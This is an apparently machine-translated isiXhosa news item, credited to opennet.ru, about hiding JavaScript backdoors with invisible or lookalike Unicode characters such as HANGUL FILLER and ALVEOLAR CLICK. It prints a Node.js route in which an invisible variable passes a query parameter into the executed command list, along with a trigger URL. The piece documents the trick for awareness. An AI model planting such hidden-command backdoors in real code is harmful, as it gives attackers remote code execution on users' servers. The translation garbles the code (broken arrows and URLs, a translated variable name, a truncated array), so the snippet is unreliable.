Ukusebenzisa iimpawu ze-unicode ezingabonakaliyo ukufihla izenzo kwikhowudi yeJavaScript

Ukulandela indlela yokuhlaselwa kweTrojan Source, esekelwe ekusetyenzisweni kweempawu ze-Unicode ezitshintsha umyalelo wokubonisa we-bidirectional text, enye indlela yokwazisa izenzo ezifihliweyo ishicilelwe, esebenzayo kwikhowudi yeJavaScript. Indlela entsha isekelwe ekusetyenzisweni kwe-unicode character "ㅤ" (ikhowudi 0x3164, "HANGUL FILLER"), ephuma kudidi lweeleta, kodwa akukho mxholo obonakalayo. Udidi lwe-Unicode apho lo mlingisi ungowakho kuye kwavunyelwa ukususela kwi-ECMAScript ye-2015 inkcazo yokusetyenziswa kumagama aguquguqukayo eJavaScript, okwenza kube lula ukudala iinguqu ezingabonakaliyo okanye iinguqu ezintsha ezingabonakaliyo kwezinye iinguqu kwiikhowudi ezidumileyo njenge-Notepad ++ kunye ne-VS Code.

Njengomzekelo, ikhowudi yeqonga leNode.js linikiwe, apho, kusetyenziswa ukuguquguquka okubandakanya unobumba omnye “ㅤ”, ucango olungemva lufihlwe oluvumela ukuphumeza ikhowudi echazwe ngumhlaseli: app.get('/ network_health', async (req, res) = > {const {timeout,ㅤ} = req.query;// enyanisweni ithi “const { timeout,ㅤ \u3164}” const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',ㅤ // isiphumlisi silandelwa ngumlinganiswa \u3164 ];

Xa ujonga kuqala, kuphela ixabiso lexesha lokuphuma ligqithiswa kwiparamitha yangaphandle, kwaye uluhlu olunemiyalelo ekufuneka luphunyeziwe lunoluhlu olusisigxina olungenabungozi. Kodwa eneneni, emva kokuguquguquka kwexesha, ixabiso lolunye uguquko olungabonakaliyo kunye nekhowudi yomlinganiswa \u3164 yabelwe, ekwafakwe endaweni yoluhlu lwemiyalelo ephunyezwayo. Ngoko ke, ukuba uyilo olunjalo lukhona, umhlaseli angathumela isicelo esifana ne "https://host:8080/network_health?%E3%85%A4=command" ukuze avule ucango lwangasemva kwaye enze ikhowudi yakhe.

Omnye umzekelo ngumlinganiswa "ǃ" (ALVEOLAR CLICK), onokusetyenziswa ukunika inkangeleko yokubonisa inqaku lesikhuzo. Umzekelo, ibinzana elithi “ukuba(environmentǃ=ENV_PROD){” xa lisenziwa kwi-Node.js 14 liya kuhlala liyinyani, kuba lingajongi umahluko, kodwa linika ixabiso le-ENV_PROD kuguquguquko “indaloǃ”. Abanye oonobumba abalahlekisayo beyunicode baquka "／", "−", "＋", "⩵", "❨", "⫽", "꓿" kunye "∗".

umthombo: opennet.ru